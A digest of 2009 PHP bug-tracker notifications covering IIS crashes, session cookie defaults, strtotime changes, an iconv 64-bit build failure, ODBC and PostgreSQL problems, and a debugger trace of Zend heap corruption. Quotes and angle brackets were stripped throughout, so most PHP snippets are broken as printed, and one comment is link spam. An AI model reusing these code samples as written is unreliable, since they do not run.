[2009-05-11 14:36:49] ralphyz at gmail dot com

There are no errors in the log file.  

The following lines:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

All work individually (two others are commented out), or in pairs (one
other is commented out).  I get the error when all three are active
(none of the three commented out).  

They also work if I do this:
print (id: $id BRname: $nameBRdescription: $description);

It just won't work if I have three separate lines.  No other code gives
me an error.



[2009-05-11 14:14:08] johan...@php.net

When using the mysqli extension together with the mysql extension
you have to use the same libraries and include files. mysqli
extension requires the location of mysql_config file, mysql
extension requires the path of your mysql installation.

If you installed MySQL 4.1 for example with prefix /usr/local/mysql-4.1
your configure settings should be
--with-mysql=/usr/local/mysql-4.1
--with-mysqli=/usr/local/mysql-4.1/bin/mysql_config

I case that is correct please check your log files for more verbose
error messages.



[2009-05-11 14:08:54] ralphyz at gmail dot com

Description:

I get The Page Cannot Be Displayed error message when there are 3
print statements in a row which display the contents of an array (which
only has 1 column, and 3 rows).  When I comment out any of the three
print statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement
with a FOR statement to run through all my records ($num_rows = 31), I
get the same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot
be displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information
you want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  






-- 
Edit this bug report at http://bugs.php.net/?id=48233edit=1



#48191 [Fbk-Opn]: Passing the Session ID won't work after disable session.use_cookies

2009-05-11 Thread jens at dutzi dot me
 ID:   48191
 User updated by:  jens at dutzi dot me
 Reported By:  jens at dutzi dot me
-Status:   Feedback
+Status:   Open
 Bug Type: Session related
 Operating System: Debian (lenny)
 PHP Version:  5.3.0RC2
 Assigned To:  fb-req-jani
 New Comment:

thanks - your hint about session.use_only_cookies was the solution.

It seems, the default-setting for this configuration option had been
changed from off to on:

[j...@linux www]# php529/bin/php -i |grep session.use_only_cookies  
session.use_only_cookies = Off = Off

[j...@linux www]# php530/bin/php -i |grep session.use_only_cookies  
session.use_only_cookies = On = On


Previous Comments:


[2009-05-08 21:31:02] j...@php.net

You must also check the session.use_only_cookies directive and set 
that also to 0 to be able to really use cookies. 



[2009-05-08 14:19:46] jens at dutzi dot me

Description:

When forcing PHP to not use cookies for sessions, PHP doesn't recognize
the existing session. Instead it will create a new one. Session files
will be created as expected.

The Bug can be reproduced with:
1.) ini_set('session.use_cookies', 0); in the php-code
and
2.) session.use_cookies = 0; in php.ini

The following sample code is identical to
http://www.php.net/manual/en/session.idpassing.php

Reproduce code:
---
?php
// Disable Cookie-Usage
ini_set('session.use_cookies', 0);

// Start the session
session_start();

if (empty($_SESSION['count'])) {
$_SESSION['count'] = 1;
} else {
$_SESSION['count']++;
}
?

pHello visitor, you have seen this page ?php echo
$_SESSION['count']; ? times./p
pTo continue, a href=test.php??php echo htmlspecialchars(SID);
?click here/a./p

Expected result:

On the first run, a new session should be created with
$_SESSION['count'] = 1. On everey reload $_SESSION['count'] should be
increased. (s.a. example #1 at
http://www.php.net/manual/en/session.idpassing.php)

Actual result:
--
On every run, PHP creates a new session with $_SESSION['count']=1.





-- 
Edit this bug report at http://bugs.php.net/?id=48191edit=1



#48234 [NEW]: difference in strtotime results

2009-05-11 Thread ladjack at gmail dot com
From: ladjack at gmail dot com
Operating system: Windows XP SP3
PHP version:  5.2.9
PHP Bug Type: Date/time related
Bug description:  difference in strtotime results

Description:

The difference in strtotime() output in different PHP versions on Windows
XP SP3 and CentOS.

Reproduce code:
---
$start_date = '2009-04-16'; // thursday
$fdate = strtotime($start_date .  +1 thursday);
echo date ( 'Y-m-d', $fdate );

Expected result:

2009-04-23


Actual result:
--
In PHP 5.2.6 will output:

2009-04-23

In PHP 5.2.8 and 5.2.9 will output:

2009-04-16

-- 
Edit bug report at http://bugs.php.net/?id=48234edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48234r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48234r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48234r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48234r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48234r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48234r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48234r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48234r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48234r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48234r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48234r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48234r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48234r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48234r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48234r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48234r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48234r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48234r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48234r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48234r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48234r=mysqlcfg



#48189 [Opn-Fbk]: ibase_execute error in return param

2009-05-11 Thread felipe
 ID:   48189
 Updated by:   fel...@php.net
 Reported By:  maxwer at ukr dot net
-Status:   Open
+Status:   Feedback
 Bug Type: InterBase related
 Operating System: Win2000SP4
 PHP Version:  5.2.9
 New Comment:

Thank you for this bug report. To properly diagnose the problem, we
need a short but complete example script to be able to reproduce
this bug ourselves. 

A proper reproducing script starts with ?php and ends with ?,
is max. 10-20 lines long and does not require any external 
resources such as databases, etc. If the script requires a 
database to demonstrate the issue, please make sure it creates 
all necessary tables, stored procedures etc.

Please avoid embedding huge scripts into the report.




Previous Comments:


[2009-05-08 09:19:42] maxwer at ukr dot net

Description:

ibase_execute return values

http://ua2.php.net/manual/ru/function.ibase-execute.php
Çàìå÷àíèå: In PHP 5.0.0 and up, this function returns the number of
rows affected by the query (if  0 and applicable to the statement
type). A query that succeeded, but did not affect any rows (e.g. an
UPDATE of a non-existent record) will return TRUE. 

 if(Affected_rows == 0){
   return STRING 0  (zero and space) THIS ERROR! need BOOLEAN true
 }else{
   return INTEGER n   --- this normal
 }







-- 
Edit this bug report at http://bugs.php.net/?id=48189edit=1



#48236 [NEW]: PHP.net Website Problem

2009-05-11 Thread binvisions at yahoo dot com
From: binvisions at yahoo dot com
Operating system: PHP.net Website Problem
PHP version:  5.2.9
PHP Bug Type: Unknown/Other Function
Bug description:  PHP.net Website Problem

Description:

All of the links in the sidebar of any function page is in Polish, for all
US and Canadian sub-domains of php.net. This has been noted by dozens of
people around the world - so it isn't just me.


-- 
Edit bug report at http://bugs.php.net/?id=48236edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48236r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48236r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48236r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48236r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48236r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48236r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48236r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48236r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48236r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48236r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48236r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48236r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48236r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48236r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48236r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48236r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48236r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48236r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48236r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48236r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48236r=mysqlcfg



#48233 [Bgs]: The Page Cannot Be Displayed

2009-05-11 Thread ralphyz at gmail dot com
 ID:   48233
 User updated by:  ralphyz at gmail dot com
 Reported By:  ralphyz at gmail dot com
 Status:   Bogus
 Bug Type: IIS related
 Operating System: W2K3 SP2
 PHP Version:  5.2.9
 New Comment:

Reinstalled PHP 5.2.9 - everything is working now.


Previous Comments:


[2009-05-11 15:10:46] ralphyz at gmail dot com

Turning off Show friendly HTTP error messages in IE now gives me the
Access Violation error message instead of The page cannot be
displayed.



[2009-05-11 14:50:33] ralphyz at gmail dot com

When I access the same page from Firefox, I get an Access Violation
error - but again, only when all three lines are uncommented.



[2009-05-11 14:36:49] ralphyz at gmail dot com

There are no errors in the log file.  

The following lines:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

All work individually (two others are commented out), or in pairs (one
other is commented out).  I get the error when all three are active
(none of the three commented out).  

They also work if I do this:
print (id: $id BRname: $nameBRdescription: $description);

It just won't work if I have three separate lines.  No other code gives
me an error.



[2009-05-11 14:14:08] johan...@php.net

When using the mysqli extension together with the mysql extension
you have to use the same libraries and include files. mysqli
extension requires the location of mysql_config file, mysql
extension requires the path of your mysql installation.

If you installed MySQL 4.1 for example with prefix /usr/local/mysql-4.1
your configure settings should be
--with-mysql=/usr/local/mysql-4.1
--with-mysqli=/usr/local/mysql-4.1/bin/mysql_config

I case that is correct please check your log files for more verbose
error messages.



[2009-05-11 14:08:54] ralphyz at gmail dot com

Description:

I get The Page Cannot Be Displayed error message when there are 3
print statements in a row which display the contents of an array (which
only has 1 column, and 3 rows).  When I comment out any of the three
print statements, the page displays without a problem.  

I tested this code on Ubuntu - and it works without a problem.

Also commenting out any of the following three lines makes this work
without a problem:
print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

If I comment out any of those lines, but replace the IF statement
with a FOR statement to run through all my records ($num_rows = 31), I
get the same error (The Page Cannot Be Displayed).

The print statements with got here in them seem to have no negative
effect on the script.

Reproduce code:
---
?php

$DBHost = x.x.x.x;// IP-address of MySQL server
$DBLogin = username;  // Username of MySQL user
$DBPassword = password;   // Password of MySQL user
$DBDatabase = database;   // Name of database
$db_error = ;

$sql = select A, B, C from employee;

$data_set = get_data($sql);

$num_rows = mysql_num_rows($data_set);

if($num_rows  0)
{
 $row = mysql_fetch_array($data_set, MYSQL_NUM);

  $id = $row[0];
  $name = $row[1];
  $description = $row[2];

print (id: $id BR);
print (name: . $name . BR);
print (description: . $description . BR);

print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
print (got here);
}


function get_data($sql)
{
  global $DBHost, $DBLogin, $DBPassword, $DBDatabase, $db_error;

  if(!mysql_connect($DBHost, $DBLogin, $DBPassword))
  {
return $db_error;
  }
  else
  {
mysql_select_db($DBDatabase);
return mysql_query($sql);
  }
}
?

Expected result:

This should display:

  1
  John Smith
  Staff
  got heregot heregot heregot heregot heregot heregot heregot heregot
heregot here

Actual result:
--
 The page cannot be displayed 
There is a problem with the page you are trying to reach and it cannot
be displayed. 



Please try the following:

Open the x.x.x.x home page, and then look for links to the information
you want. 
Click the  Refresh button, or try again later.

Click  Search to look for information on the Internet. 
You can also see a list of related sites. 




HTTP 500 - Internal server error 
Internet Explorer  






-- 
Edit this bug report at 

#48195 [Fbk-Opn]: iconv link failure

2009-05-11 Thread rickdunn at chez dot com
 ID:   48195
 User updated by:  rickdunn at chez dot com
 Reported By:  rickdunn at chez dot com
-Status:   Feedback
+Status:   Open
 Bug Type: Compile Failure
 Operating System: OS X 10.5.6
 PHP Version:  5.3.0RC2
 Assigned To:  scottmac
 New Comment:

I tried the 5.3-dev build at http://snaps.php.net/ and received the
same 
error.


Previous Comments:


[2009-05-10 18:38:58] scott...@php.net

Can you try with

./configure --disable-all --with-xmlrpc --enable-libxml


The above configures file for me on 10.5.6.



[2009-05-10 17:05:53] j...@php.net

Does this happen with current PHP_5_2 snapshot? (please try..)
http://snaps.php.net/



[2009-05-10 12:03:51] rickdunn at chez dot com

No luck.  

I tried running ./buildconf before ./configure and the same error 
occurs.

I tried stripping out all of the compiler flags except for  -arch 
x86_64 -m64 and still get the same error.

Again, this problem showed up with 5.3.0RC2.  I did not have any 
problems with 5.3.0RC1.



[2009-05-09 22:45:38] scott...@php.net

The bug you linked to was fixed for 5.3.0RC2, its possible that this is
what caused your issues.

Did you checkout to a fresh directory?

If not you might need to run ./buildconf and ./configure again.



[2009-05-09 21:00:21] j...@php.net

Drop all this first:

CC=gcc CFLAGS=-O3 -fno-omit-frame-pointer -arch x86_64 -m64 CXX=gcc
CXXFLAGS=-O3 -fno-omit-frame-pointer -felide-constructors
-fno-exceptions -fno-rtti -arch x86_64 -m64 




The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48195

-- 
Edit this bug report at http://bugs.php.net/?id=48195edit=1



#40695 [Com]: odbc_execute/prepared statements does not work with Access

2009-05-11 Thread ilyalyu at yahoo dot com
 ID:   40695
 Comment by:   ilyalyu at yahoo dot com
 Reported By:  a at bc dot de
 Status:   Open
 Bug Type: ODBC related
 Operating System: Windows
 PHP Version:  5.2.1
 New Comment:

This bug makes odbc unusable if you need to insert large data into the
table. There are only two alternatives:
1. Use odbc_exec, which fails with large data because of stack limit.
2. Use odbc_prepare and odbc_execute, which fails because of the bug
described above.
So, both alternatives fail.

OS Windowx XP, PHP Version 5.2.6, Database - Windows SQL Server 2008.


Previous Comments:


[2008-09-05 03:11:04] geoff dot brisbine at gmail dot com

Forgot in last post, this is accessing Paradox 4.x tables.



[2008-09-05 02:48:31] geoff dot brisbine at gmail dot com

It's happening for me on Windows XP Pro SP2 w/Apache 2.2 and PHP 5.2.6
(php5apache2_2.dll).



[2007-03-02 18:34:29] a at bc dot de

Description:

[repost of bug 6275]

Hello,

My problem is odbc_execute fails with the following error message:

Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver]COUNT
field
incorrect , SQL state 07001 in SQLExecute in
d:\Inetpub\wwwroot\php\adodb\index.php on line 77

The odbc_exec INSERT works fine. I am using a plain vanilla NorthWind
MS
Access database and am using the ISAPI version of PHP, with ODBC built
in.



Reproduce code:
---
$conn = odbc_connect(nwind,,);
odbc_exec($conn,drop table ADOXYZ); 
odbc_exec($conn,create table ADOXYZ (id int, firstname char(24),
lastname char(24)));   
odbc_exec($conn,insert into ADOXYZ (id,firstname,lastname) values
(0,'Zend','PHP'));
$stmt = odbc_prepare($conn,insert into ADOXYZ (id,firstname,lastname)
values (?,?,?));
if ($stmt) {
print Trying executebr;
$stmt = odbc_execute($stmt,array(1,John,Lim));
}

Actual result:
--
Warning: SQL error: [Microsoft][ODBC Microsoft Access Driver]COUNT
field
incorrect , SQL state 07001 in SQLExecute in
d:\Inetpub\wwwroot\php\adodb\index.php on line 77





-- 
Edit this bug report at http://bugs.php.net/?id=40695edit=1



#39492 [Com]: log_errors do not use error_append_string directive

2009-05-11 Thread hanma5 at Hotmail dot com
 ID:   39492
 Comment by:   hanma5 at Hotmail dot com
 Reported By:  frederic dot linot at free dot fr
 Status:   Open
 Bug Type: Feature/Change Request
 Operating System: mandriva 2006
 PHP Version:  5.2.0
 New Comment:

Hi. In the future I'm going to keep here links to their sites. But I do
not worry about the sites where my link is removed. So if you do not
want to see a mountain of links, simply delete this message. After 2
weeks, I will come back and check.


Previous Comments:


[2006-11-13 09:38:49] tony2...@php.net

Reclassified as feature request.



[2006-11-13 09:34:57] frederic dot linot at free dot fr

Reproduce code was not complete, sorry.. (last line was omitted)
Here is :

error_reporting(E_ALL) ; 
ini_set('error_log', 'errors.txt') ;
ini_set('html_errors', false) ;
ini_set('error_append_string',  -- .$_SERVER['REQUEST_URI']) ;
ini_set('log_errors', true) ;
ini_set('display_errors', true) ;
trigger_error(Show me the error_append_string please !) ;



[2006-11-13 09:31:56] frederic dot linot at free dot fr

Description:

error_append_string directive not used when error is logged in a file.
Just used when error is displayed on screen.

Reproduce code:
---
error_reporting(E_ALL) ; 
ini_set('error_log', 'errors.txt') ;
ini_set('html_errors', false) ;
ini_set('error_append_string',  -- .$_SERVER['REQUEST_URI']) ;
ini_set('log_errors', true) ;
ini_set('display_errors', true) ;

Expected result:

in errors.txt file :
Notice: Show me the error_append_string please ! in
/home/fred/www/EasyZik-2006-10-29/test.php on line 9 -- /test.php

on screen :
Notice: Show me the error_append_string please ! in
/home/fred/www/EasyZik-2006-10-29/test.php on line 9 -- /test.php

Actual result:
--
in errors.txt file :
Notice: Show me the error_append_string please ! in
/home/fred/www/EasyZik-2006-10-29/test.php on line 9

on screen :
Notice: Show me the error_append_string please ! in
/home/fred/www/EasyZik-2006-10-29/test.php on line 9 -- /test.php





-- 
Edit this bug report at http://bugs.php.net/?id=39492edit=1



#48228 [Com]: Possible memory corruption

2009-05-11 Thread iddekingej at lycos dot com
 ID:   48228
 Comment by:   iddekingej at lycos dot com
 Reported By:  iddekingej at lycos dot com
 Status:   Feedback
 Bug Type: Scripting Engine problem
 Operating System: Linux
 PHP Version:  5.3.0RC2
 New Comment:

Thanks, but the latest snapshot din't fix the problem.

I managed to debug apache and php and found the following:

The field alloc_globals-mm_heap-reserve_size is (wrongly) overwritten
with some address while freeing memory.  This value contains therefore a
large number.
Next, in zend_mm_shutdown the following code is executed

  if (heap-reserve_size) {
 heap-reserve = _zend_mm_alloc_int(heap, heap-reserve_size 
ZEND_FILE_LINE_CC ZEND_FILE_LINE_EMPTY_CC);
  }
This failed because reserve_size contains a very large number.

The corruption of alloc_globals-mm_heap-reserve_size happens in the
function  _zend_mm_free_int.This function is called from
shutdown_executor about line 327.
That is zend_ptr_stack_destroy(EG(arg_types_stack));

In the function _zend_mm_free_int a local var mm_block is loaded with
mm_block = ZEND_MM_HEADER_OF(p);
This header contains size=0,next=0 (hmm size=0 sounds wrong). 
The value in alloc_globals-mm_heap-reserve_size is corrupted later
on at the line *cache = (zend_mm_free_block*)mm_block; (about line
1968). 
So I guess that cache contains a wrong pointer.



This is as far as I could debug php.


Previous Comments:


[2009-05-11 09:45:55] j...@php.net

Please try using this CVS snapshot:

  http://snaps.php.net/php5.3-latest.tar.gz
 
For Windows:

  http://windows.php.net/snapshots/





[2009-05-10 22:47:19] iddekingej at lycos dot com

Description:

The included example code was made for finding the reason
php5.3RC2/apache2 crashed with some php website (the websie is not
publicly available). The script didn't crash apache but failed
differently.
The script should fail with a 'undefined variable', it does but it also
displays the message Fatal error: Allowed memory size of 536870912
bytes exhausted (tried to allocate 140498868988960 bytes) in Unknown on
line 0. (The large number is probably a memory location).

This error only happens in the following situation:
* as a web page (CLI works OK)
* restart apache
* Load the page and the memory exhausted message is displayed.
* Reload the page and no memory exhausted message

Software/machine:
* 64Bit amd
* Kubuntu  8.10
* Apache 2.2.9
* PHP(5.3RC2) compiled with : 
'./configure' '--enable-zip' '--enable-soap' '--enable-sockets'
'--with-gd' '--with-pgsql' '--with-apxs2=/usr/bin/apxs2'
'--with-gettext' '--enable-cli' '--enable-mbstring'





Reproduce code:
---
?
function ex_handler($p_exception)
{
? Error:i?=$p_exception-getMessage()?/ibr/br/?
}

function
er_handler($p_errorno,$p_errstr,$p_errfile,$p_errline,$p_context)
{ 
   $l_exception=new Exception(Error $p_errorno at $p_errline in
'$p_errfile':$p_errstr); 
   throw $l_exception;
}

  set_Exception_Handler(ex_handler);
 
set_Error_Handler(er_handler,E_STRICT|E_WARNING|E_ALL|E_ERROR|E_NOTICE);
  class aa 
  {
function check($p_a,$p_b,$p_c)
{
  echo $p_a;
}

function dosome($p_b,$p_d,$p_e,$p_f,$p_g,$p_h)
{
   return 
$this-check(3,3,array(xx=$p_b,xzx=$p_d,xx=$p_e,yy=$p_c));
}
 }
  $l_aa=new aa();
 
$l_aa-dosome('2',3,4,5,'sddd','ddd');
?

Expected result:

* Undefined variable 


Actual result:
--
* Undefined variable 
* Fatal error: Allowed memory size of 536870912 bytes exhausted (tried
to allocate 140498868988960 bytes) in Unknown on line 0. 





-- 
Edit this bug report at http://bugs.php.net/?id=48228edit=1



#48195 [Opn]: iconv link failure

2009-05-11 Thread rickdunn at chez dot com
 ID:   48195
 User updated by:  rickdunn at chez dot com
 Reported By:  rickdunn at chez dot com
 Status:   Open
 Bug Type: Compile Failure
 Operating System: OS X 10.5.6
 PHP Version:  5.3.0RC2
 Assigned To:  scottmac
 New Comment:

The problem seems to be that the 5.3 RC2 build has a problem with the
-
arch x86_64 compiler flag.  If I run a stripped-down configure...

./configure --disable-all --with-iconv --with-apxs2

...I don't get any errors, but I'll end up with a 32-bit PHP module and

I'm running 64-bit Apache.

Compiling for 64-bit was not a problem with 5.2.x or 5.3 RC1.


Previous Comments:


[2009-05-11 18:35:07] rickdunn at chez dot com

I tried the 5.3-dev build at http://snaps.php.net/ and received the
same 
error.



[2009-05-10 18:38:58] scott...@php.net

Can you try with

./configure --disable-all --with-xmlrpc --enable-libxml


The above configures file for me on 10.5.6.



[2009-05-10 17:05:53] j...@php.net

Does this happen with current PHP_5_2 snapshot? (please try..)
http://snaps.php.net/



[2009-05-10 12:03:51] rickdunn at chez dot com

No luck.  

I tried running ./buildconf before ./configure and the same error 
occurs.

I tried stripping out all of the compiler flags except for  -arch 
x86_64 -m64 and still get the same error.

Again, this problem showed up with 5.3.0RC2.  I did not have any 
problems with 5.3.0RC1.



[2009-05-09 22:45:38] scott...@php.net

The bug you linked to was fixed for 5.3.0RC2, its possible that this is
what caused your issues.

Did you checkout to a fresh directory?

If not you might need to run ./buildconf and ./configure again.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48195

-- 
Edit this bug report at http://bugs.php.net/?id=48195edit=1



#48195 [Com]: iconv link failure

2009-05-11 Thread ajmiller at engr dot psu dot edu
 ID:   48195
 Comment by:   ajmiller at engr dot psu dot edu
 Reported By:  rickdunn at chez dot com
 Status:   Open
 Bug Type: Compile Failure
 Operating System: OS X 10.5.6
 PHP Version:  5.3.0RC2
 Assigned To:  scottmac
 New Comment:

I had the same problem with iconv on a Mac OS X Server 10.5.6 on an 
iMac G5. 

Using compiler and linker flags 
CFLAGS=-arch ppc64
CCFLAGS=-arch ppc64
CXXFLAGS=-arch ppc64
LDFLAGS=-arch ppc64
export CFLAGS CXXFLAGS LDFLAGS CCFLAGS
to force 64 bit

and then the following configure options did produce a functioning 
version of the php module. 

./configure '--prefix=/usr/local' '--mandir=/usr/share/man' '--
disable-all' '--with-xmlrpc' '--enable-libxml' '--
infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-
ldap=/usr' '--with-kerberos=/usr' '--enable-cli' '--with-zlib-
dir=/usr' '--enable-trans-sid' '--with-xml' '--enable-exif' '--enable-
ftp' '--enable-mbstring' '--enable-mbregex' '--enable-dbx' '--enable-
sockets' '--with-iodbc=/usr' '--with-curl=/usr' '--with-config-file-
path=/etc' '--sysconfdir=/private/etc' '--with-mysql-sock=/var/mysql' 
'--with-mysqli=mysqlnd' '--with-mysql=mysqlnd' '--with-openssl' '--
with-xmlrpc' '--enable-dom' '--with-xsl=/usr' '--enable-xml' '--with-
pear'

I've never used --disable-all before. Does it disable everything that 
is not explicitly enabled? Does this exclude something that caused the

link problems with iconv?

Also, for mysqlnd to build, I had to edit the mysqlnd_portability.h 
file like I described in the bug #48198 report I submitted previously.


Previous Comments:


[2009-05-11 20:57:48] rickdunn at chez dot com

The problem seems to be that the 5.3 RC2 build has a problem with the
-
arch x86_64 compiler flag.  If I run a stripped-down configure...

./configure --disable-all --with-iconv --with-apxs2

...I don't get any errors, but I'll end up with a 32-bit PHP module and

I'm running 64-bit Apache.

Compiling for 64-bit was not a problem with 5.2.x or 5.3 RC1.



[2009-05-11 18:35:07] rickdunn at chez dot com

I tried the 5.3-dev build at http://snaps.php.net/ and received the
same 
error.



[2009-05-10 18:38:58] scott...@php.net

Can you try with

./configure --disable-all --with-xmlrpc --enable-libxml


The above configures file for me on 10.5.6.



[2009-05-10 17:05:53] j...@php.net

Does this happen with current PHP_5_2 snapshot? (please try..)
http://snaps.php.net/



[2009-05-10 12:03:51] rickdunn at chez dot com

No luck.  

I tried running ./buildconf before ./configure and the same error 
occurs.

I tried stripping out all of the compiler flags except for  -arch 
x86_64 -m64 and still get the same error.

Again, this problem showed up with 5.3.0RC2.  I did not have any 
problems with 5.3.0RC1.



The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/48195

-- 
Edit this bug report at http://bugs.php.net/?id=48195edit=1



#48239 [NEW]: Cannot Postgres loaded

2009-05-11 Thread aguiland06 at gmail dot com
From: aguiland06 at gmail dot com
Operating system: windows xp
PHP version:  5.2.9
PHP Bug Type: PostgreSQL related
Bug description:  Cannot  Postgres loaded

Description:

Cannot  Postgres loaded, PHP.INI indicates that it s loaded ?
does not show up(loaded) in a  In  PHPINFO(). 

 


Reproduce code:
---
Warning: pg_connect(): Unable to connect to PostgreSQL server

Running htpp://localhost/phppgamin:
Display Message:

Your PHP installation does not support PostgreSQL. You need to recompile
PHP using the --with-pgsql configure option.

text in  php.ini: 
;extension=php_ming.dll
extension=php_mssql.dll
;extension=php_msql.dll
extension=php_mysql.dll





Expected result:

 
I have never had this happen before ?



Actual result:
--
libpq.dll is in the path.

Note: Cannot  mssql load, does not show up(loaded) in a  In  PHPINFO(). 

Problem be repeat in php 6.0, postgres and mssql no loaded

 


-- 
Edit bug report at http://bugs.php.net/?id=48239edit=1
-- 
Try a CVS snapshot (PHP 5.2):
http://bugs.php.net/fix.php?id=48239r=trysnapshot52
Try a CVS snapshot (PHP 5.3):
http://bugs.php.net/fix.php?id=48239r=trysnapshot53
Try a CVS snapshot (PHP 6.0):
http://bugs.php.net/fix.php?id=48239r=trysnapshot60
Fixed in CVS:
http://bugs.php.net/fix.php?id=48239r=fixedcvs
Fixed in CVS and need be documented: 
http://bugs.php.net/fix.php?id=48239r=needdocs
Fixed in release:
http://bugs.php.net/fix.php?id=48239r=alreadyfixed
Need backtrace:  
http://bugs.php.net/fix.php?id=48239r=needtrace
Need Reproduce Script:   
http://bugs.php.net/fix.php?id=48239r=needscript
Try newer version:   
http://bugs.php.net/fix.php?id=48239r=oldversion
Not developer issue: 
http://bugs.php.net/fix.php?id=48239r=support
Expected behavior:   
http://bugs.php.net/fix.php?id=48239r=notwrong
Not enough info: 
http://bugs.php.net/fix.php?id=48239r=notenoughinfo
Submitted twice: 
http://bugs.php.net/fix.php?id=48239r=submittedtwice
register_globals:
http://bugs.php.net/fix.php?id=48239r=globals
PHP 4 support discontinued:  http://bugs.php.net/fix.php?id=48239r=php4
Daylight Savings:http://bugs.php.net/fix.php?id=48239r=dst
IIS Stability:   
http://bugs.php.net/fix.php?id=48239r=isapi
Install GNU Sed: 
http://bugs.php.net/fix.php?id=48239r=gnused
Floating point limitations:  
http://bugs.php.net/fix.php?id=48239r=float
No Zend Extensions:  
http://bugs.php.net/fix.php?id=48239r=nozend
MySQL Configuration Error:   
http://bugs.php.net/fix.php?id=48239r=mysqlcfg



#48239 [Com]: Cannot Postgres loaded

2009-05-11 Thread aguiland06 at gmail dot com
 ID:   48239
 Comment by:   aguiland06 at gmail dot com
 Reported By:  aguiland06 at gmail dot com
 Status:   Open
 Bug Type: PostgreSQL related
 Operating System: windows xp
 PHP Version:  5.2.9
 New Comment:

php.ini

extension=php_mssql.dll
extension=php_mysql.dll
extension=php_mysqli.dll
extension=php_pdo_pgsql.dll
extension=php_pdo_sqlite.dll
extension=php_pgsql.dll

no loaded postgres


Previous Comments:


[2009-05-11 23:45:20] aguiland06 at gmail dot com

Description:

Cannot  Postgres loaded, PHP.INI indicates that it s loaded ?
does not show up(loaded) in a  In  PHPINFO(). 

 


Reproduce code:
---
Warning: pg_connect(): Unable to connect to PostgreSQL server

Running htpp://localhost/phppgamin:
Display Message:

